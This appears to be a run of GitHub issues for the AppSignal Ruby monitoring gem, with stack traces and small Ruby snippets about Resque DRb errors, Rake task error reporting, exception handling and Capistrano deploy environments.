/opt/rubies/ruby-2.3.1/lib/ruby/gems/2.3.0/gems/appsignal-1.3.2/lib/appsignal/rack/sinatra_instrumentation.rb:80:in `action_name'
/opt/rubies/ruby-2.3.1/lib/ruby/gems/2.3.0/gems/appsignal-1.3.2/lib/appsignal/rack/sinatra_instrumentation.rb:67:in `ensure in call_with_appsignal_monitoring'
/opt/rubies/ruby-2.3.1/lib/ruby/gems/2.3.0/gems/appsignal-1.3.2/lib/appsignal/rack/sinatra_instrumentation.rb:71:in `call_with_appsignal_monitoring'
/opt/rubies/ruby-2.3.1/lib/ruby/gems/2.3.0/gems/appsignal-1.3.2/lib/appsignal/rack/sinatra_instrumentation.rb:37:in `call'

Reported in: https://app.intercom.io/a/apps/yzor8gyw/inbox/conversation/5598150053

Long running (resque) processes trigger DRb Conn Error with Broken Pipe

Hi Appsignal,

we use version 0.11.9 with Resque Plugin and a Worker runs sometimes longer than 45min.
The following error is reproducible:

Exception DRb::DRbConnError 
Error Broken pipe
/usr/lib/ruby/2.1.0/drb/drb.rb:611:in `write'
/usr/lib/ruby/2.1.0/drb/drb.rb:611:in `send_request'
/usr/lib/ruby/2.1.0/drb/drb.rb:921:in `send_request'
/usr/lib/ruby/2.1.0/drb/drb.rb:1221:in `send_message'
/usr/lib/ruby/2.1.0/drb/drb.rb:1110:in `block (2 levels) in method_missing'
/usr/lib/ruby/2.1.0/drb/drb.rb:1197:in `open'
/usr/lib/ruby/2.1.0/drb/drb.rb:1109:in `block in method_missing'
/usr/lib/ruby/2.1.0/drb/drb.rb:1128:in `with_friend'
/usr/lib/ruby/2.1.0/drb/drb.rb:1108:in `method_missing'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/ipc.rb:59:in `enqueue'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/transaction.rb:160:in `complete!'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/transaction.rb:26:in `complete_current!'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal.rb:92:in `monitor_transaction'
/app/.bundle/ruby/2.1.0/gems/appsignal-0.11.9/lib/appsignal/integrations/resque.rb:8:in `around_perform_resque_plugin'

We think that looks like, that on completing the job finally, appsignal tries to enqueue the transaction into the transaction Drb server file 'drbunix:...' stream which is no longer opened for writing.

Is that anything we can just configure anywhere in case we know our job might run quite some time? Or is it a bug?

Cheers,
Bastian

Does it support Rails 2.x, Ruby 1.8.7?

Does it?

extconf.rb returns exit code 0 on failure

I think extconf.rb should return a failure exit code when it fails to build. Now the automatic build will continue without a working extension.

Support for catching errors in Rake tasks

Is there an acceptable way to make sure exceptions get automatically reported from Rake tasks?

Got a little burned recently, so I now have this horrific monkey patch in my Rakefile.

# Rakefile
require File.expand_path('../config/application', __FILE__)

module Rake
  class Task
    def invoke_with_appsignal(*args)
      Appsignal.listen_for_exception do
        invoke_without_appsignal(*args)
      end
    end

    alias_method_chain :invoke, :appsignal
  end
end

Rails.application.load_tasks

Any suggestions?

Send exception without re-raising

I'd like to display nice 500 pages to users, but still track exceptions with Appsignal.

Appsignal.listen_for_exception and Appsignal.send_exception both seem to re-raise the original exception, so I'm wondering how to do this.

I also have an action that needs to return a 200 status to an external service no matter what is passed, but would still like to track issues using Appsignal.

Currently, in it's controller I have

class PushNotification < ApplicationController
  rescue_from Exception, with: :render_error

  def update
    # do the magic that may throw an exception
    respond_to do |format|
      format.json { render text: '', status: 200 }
      format.html { render text: '', status: 200 }
    end
  end

private
  def render_error(exception=nil)
    begin
      Appsignal.listen_for_exception do
        raise exception
      end
    rescue; end

    respond_to do |format|
      format.json { render text: '', status: 200 }
      format.html { render text: '', status: 200 }
    end
  end
end

This gives the following error

NoMethodError (undefined method `complete!' for nil:NilClass):
   vendor/bundle/ruby/1.9.1/gems/actionpack-3.2.14/lib/action_dispatch/middleware/debug_exceptions.rb:16:in `call'
   vendor/bundle/ruby/1.9.1/gems/actionpack-3.2.14/lib/action_dispatch/middleware/show_exceptions.rb:56:in `call'
   vendor/bundle/ruby/1.9.1/gems/appsignal-0.6.5/lib/appsignal/listener.rb:18:in `call'
   vendor/bundle/ruby/1.9.1/gems/railties-3.2.14/lib/rails/rack/logger.rb:32:in `call_app'
   vendor/bundle/ruby/1.9.1/gems/railties-3.2.14/lib/rails/rack/logger.rb:16:in `block in call'
   vendor/bundle/ruby/1.9.1/gems/activesupport-3.2.14/lib/active_support/tagged_logging.rb:22:in `tagged'
   vendor/bundle/ruby/1.9.1/gems/railties-3.2.14/lib/rails/rack/logger.rb:16:in `call'
   vendor/bundle/ruby/1.9.1/gems/actionpack-3.2.14/lib/action_dispatch/middleware/request_id.rb:22:in `call'
   vendor/bundle/ruby/1.9.1/gems/rack-1.4.5/lib/rack/methodoverride.rb:21:in `call'
   vendor/bundle/ruby/1.9.1/gems/rack-1.4.5/lib/rack/runtime.rb:17:in `call'
   vendor/bundle/ruby/1.9.1/gems/activesupport-3.2.14/lib/active_support/cache/strategy/local_cache.rb:72:in `call'
   vendor/bundle/ruby/1.9.1/gems/rack-1.4.5/lib/rack/lock.rb:15:in `call'
   vendor/bundle/ruby/1.9.1/gems/actionpack-3.2.14/lib/action_dispatch/middleware/static.rb:63:in `call'
   vendor/bundle/ruby/1.9.1/gems/rack-cache-1.2/lib/rack/cache/context.rb:136:in `forward'
   vendor/bundle/ruby/1.9.1/gems/rack-cache-1.2/lib/rack/cache/context.rb:143:in `pass'
   vendor/bundle/ruby/1.9.1/gems/rack-cache-1.2/lib/rack/cache/context.rb:155:in `invalidate'
   vendor/bundle/ruby/1.9.1/gems/rack-cache-1.2/lib/rack/cache/context.rb:71:in `call!'
   vendor/bundle/ruby/1.9.1/gems/rack-cache-1.2/lib/rack/cache/context.rb:51:in `call'
   vendor/bundle/ruby/1.9.1/gems/railties-3.2.14/lib/rails/engine.rb:484:in `call'
   vendor/bundle/ruby/1.9.1/gems/railties-3.2.14/lib/rails/application.rb:231:in `call'
   vendor/bundle/ruby/1.9.1/gems/railties-3.2.14/lib/rails/railtie/configurable.rb:30:in `method_missing'
   vendor/bundle/ruby/1.9.1/gems/unicorn-4.6.3/lib/unicorn/http_server.rb:552:in `process_client'
   vendor/bundle/ruby/1.9.1/gems/unicorn-4.6.3/lib/unicorn/http_server.rb:632:in `worker_loop'
   vendor/bundle/ruby/1.9.1/gems/unicorn-4.6.3/lib/unicorn/http_server.rb:500:in `spawn_missing_workers'
   vendor/bundle/ruby/1.9.1/gems/unicorn-4.6.3/lib/unicorn/http_server.rb:142:in `start'
   vendor/bundle/ruby/1.9.1/gems/unicorn-4.6.3/bin/unicorn:126:in `<top (required)>'
   vendor/bundle/ruby/1.9.1/bin/unicorn:23:in `load'
   vendor/bundle/ruby/1.9.1/bin/unicorn:23:in `<main>'

Would like to be able to control what we use AppSignal for

Heya,

I would like to be able to disable any Exception logging to AppSignal.
As well as I want to be able completely disable tracking of background jobs.

Set the environment for deploy reporting in Capistrano

Hey guys,

I noticed that there was a bit of discussion about this in #94, but I am having some issues with this with our current setup.

Setup

We have several capistrano stages, deploying the same rails_environment, example:

Rails environment - staging
We have two capistrano stages - staging and beta
AppSignal is active for the staging env

The problem

When we deploy staging stage, the deploys are reported, but this is not true when we deploy the beta stage (since there is no appsignal config specified for the beta environment). If I just add the environment in the appsignal.yml, then another environment is created on AppSignal containing just the deploys.

Solution?

Would it be possible to somehow set the environment which AppSignal checks when deciding wether or not to report the deploy?

Support for sucker_punch?

Hi there!

Are you planning to add support for sucker_punch? Quite a lot of people use it for sending emails and performing non-critical jobs.

Thank you.

Capistrano 3 integration should use `fetch(:stage)`

Hi there,

I'm trying out the appsignal gem, and while it works quite smoothly, I'm having an issue with capistrano deployments: appsignal always thinks I'm deploying to production, while I'm actually deploying to staging.

I think the culprit of this is at lib/appsignal/integrations/capistrano/appsignal.cap:3 :

  1 namespace :appsignal do
  2   task :deploy do
  3     env = fetch(:rails_env, fetch(:rack_env, 'production')) #### <=
  4     user = ENV['USER'] || ENV['USERNAME']
  5     revision = fetch(:appsignal_revision, fetch(:current_revision))

Appsignal is using :rails_env or :rack_env, while it's pretty much standard to use fetch(:stage). This will make appsignal use the right environment. Right now, if I capistrano staging deploy, a deploy appears in the production environment. By using fetch(:stage), staging is used for deployment tracking, as I think it should be. :)

Thanks a lot in advance!